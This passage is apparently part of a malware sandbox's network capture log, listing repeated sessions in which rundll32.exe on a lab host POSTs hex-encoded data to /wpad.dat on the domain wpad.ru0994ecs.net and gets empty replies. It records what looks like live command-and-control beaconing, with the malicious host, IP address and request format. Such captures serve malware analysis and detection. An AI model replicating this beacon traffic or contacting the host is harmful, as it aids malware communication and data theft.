2024-04-16 21:03:48 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:49 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9xvCMigS3%2FMCKmapkDu45gkiY%2FlIqfxFWqyUwoIBhasmQtRYOzhehoyRI38kIyK3kdBqS37q9JyT02m0hbCIorxxTEHk6Ssst1mQUAXeKrARcVVP%2BPMtU8Q8VRTfTE45n7fxqYc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571fcc2f2f78d1-ATL
2024-04-16 21:03:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49826	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:50 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:50 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:50 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KtSugN8IEsOkjTnwuY6XFbzw9%2BKMwihUZo%2FIZGi1uvACxkDph%2F10gMrgNhXJgvIVI5twhdbHGEXqY3qcB7qvCM7yqLUWwPqFaQi5VKO%2BLBhkdXvPmSzRuwAXxfy9bLyW5%2BRy7A4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571fd5e8d653df-ATL
2024-04-16 21:03:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49825	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:50 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:50 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:50 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fApW6vCQYeMFJRvW0rTNxknIOtL8iCU43H97Paps%2FghOZwEkJuWYMQLNGAlbywyuQFl0s%2B6leD31OH4JPGeSfHlFSexn34ng7V1ouMKD9FmdHo702VEcXvVQcD9S49asVZE%2BXDI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571fd5dd54673f-ATL
2024-04-16 21:03:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49827	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:50 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:50 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:51 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yR1AJjsf70jxP6%2BISJNwLpySW1S1fQjKxTiq4z4lRRHX1AfJr9pVPXUVIcDI55z6AIOYKa5CP0ue22v3GbShgAcH0EAPNoHLgB9jk5fdEp5Ay%2FKElz6aASUESus2UDhOGPMUxNw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571fd6aa287bde-ATL
2024-04-16 21:03:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49828	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:54 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=flO%2B6Wqn9EWW%2FIyan3JufIKxi9mDwcjY7yxRXGWJpXUOh65g4FhKnVbsaSWIUMkL3WCwacerJ2V5LuDa3qC5LjWmaJC2qbOYgZNGTsBpjM0MW2dRd9rVE2q8tqz2TuT0LW1CKlU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571fec6b80b0d5-ATL
2024-04-16 21:03:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49829	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:54 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Im%2FX%2B0dHwHQHA2UKZId2ZdgYKqjitxztlnx7fkCt5Mz6FMy7Ztb8BLwL6Dx5OzfAv%2FoHnUackxTXHFVWEZgyqVJBNd7KCwo37W9RDwkjFUpCATEwQ7N%2BNiBVDMNX2Am41febkRQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571fec7a286785-ATL
2024-04-16 21:03:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49830	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:54 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1uevyZIF%2Fy7L77Ru5svWEOiDlybv0UdFjEqfSSc%2Bjkd%2BZxgwuY2ZIq4sseVTmbAIO6X4f67TJNSn9MmoTjVBVJpTUtQIiOTRq2b4nXVqbOrLsXzl7E0ydCIwn7XyB14Ux9zIHvs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571fed6ae244d3-ATL
2024-04-16 21:03:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49831	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:55 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YPiglx4pxIojpcoFxr7kIMsTKJJt%2ByebfO44cypGiHHZi36OEeKxl0%2FrgoRTuI7Tbezln450xabP3T1NAJxuPKy7eFc%2BvEJU%2FGmIVb6LdLRiogjJC2Qc8W7qEWKOQ9UMPPnYlRM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ff028e044e2-ATL
2024-04-16 21:03:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49832	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:55 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7MTLlQtiF%2BHMK33EnC9%2FUqEJztPTF2qjyYrvZBiQJN0S3UrBpWNlExguyZXHFaLTJeg6fq%2BWO5GSOJbjJuug6lJAjiUu0hkNCsjy4zr00glXNg5ZHLfCaqPfl9mnPuzpOqFk0N4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ff13ae37bca-ATL
2024-04-16 21:03:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49833	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:55 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:55 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:55 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V28%2BhoPXK28lMIiL1SHbW5ymdrVqFYBQKDNsNgsKKCZJhNIpBjGiAZMZ2bxbC98fnUn2uaBUCdNEM3WKxju9lCOICNwuin3wK7vE1tJzzXBI%2B%2FD0zUbrj49idTAG5tzplvs7oAo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ff3ae5444d1-ATL
2024-04-16 21:03:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49834	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:55 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:55 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:55 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iCLzpXjf0Li%2Bm0fLAn4WX8ycNMxWMSIos3dUiE6t63s4T4NyW1zXjZW1dkx3N%2BXHve%2FVPSZ5KcEJmifSrr3AMvZw%2Fmz0%2BFzyPdJ0YIhCQRbFjSYwm%2FttIjBWRgeHlTuZ2tOBePQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571ff55a831d7e-ATL
2024-04-16 21:03:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49835	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:58 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:58 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:59 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DQEEhvLW2U8M2TgSQjFdep296bUtdTBy5xZT6F%2F3sT8WAw5e6%2FmfuCP1QjTaMiM2BSecQ6a63SdwFA%2BCsz6ZyMhq7goaw518hz0jBXITVITYLypv9eZ29QgZRu3uGXkn99c8%2FwE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757200a087712ef-ATL
2024-04-16 21:03:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49836	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:00 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0wGOM0cn5pfGD4o30jetzZ7IKYgECn4EKID424Z5BMaJZQNdOiLH9XIS2hUQ1QSwEN6ApaTHe81%2B0B9SWKdwK9uI%2FvQuXMbcDGxn6lAX7Ua9ol%2FWi%2Bw5WpbmQa0m88%2BW7vFmROo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87572010bc1b7bba-ATL
2024-04-16 21:04:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49837	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:00 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
